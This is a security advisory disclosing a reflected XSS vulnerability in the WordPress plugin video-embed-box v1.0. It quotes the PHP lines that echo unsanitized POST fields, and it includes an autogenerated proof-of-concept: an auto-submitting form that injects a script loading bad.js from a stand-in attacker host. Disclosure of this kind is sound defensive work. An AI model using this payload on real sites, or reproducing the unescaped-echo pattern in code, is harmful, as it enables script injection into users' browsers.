Advisory #: 1399
Title: Reflected XSS in wordpress plugin video-embed-box v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/video-embed-box
Downloads: 961
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: video-embed-box
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./video-embed-box/video_embed.php: 232: <td><input type="text" name="title" value="<?php echo $_POST['title']; ?>" /></td> 251: <td><input type="text" name="pdf" value="<?php echo $_POST['pdf']; ?>" /></td> 256: <td><input type="text" name="audio" value="<?php echo $_POST['audio']; ?>" /></td> 261: <td><textarea name="useful_link" cols="41" rows="6"><?php echo $_POST['useful_link']; ?></textarea></td> The variable title appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./video-embed-box/video_embed.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/video-embed-box/video_embed.php method=post> <input type=hidden name=title value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>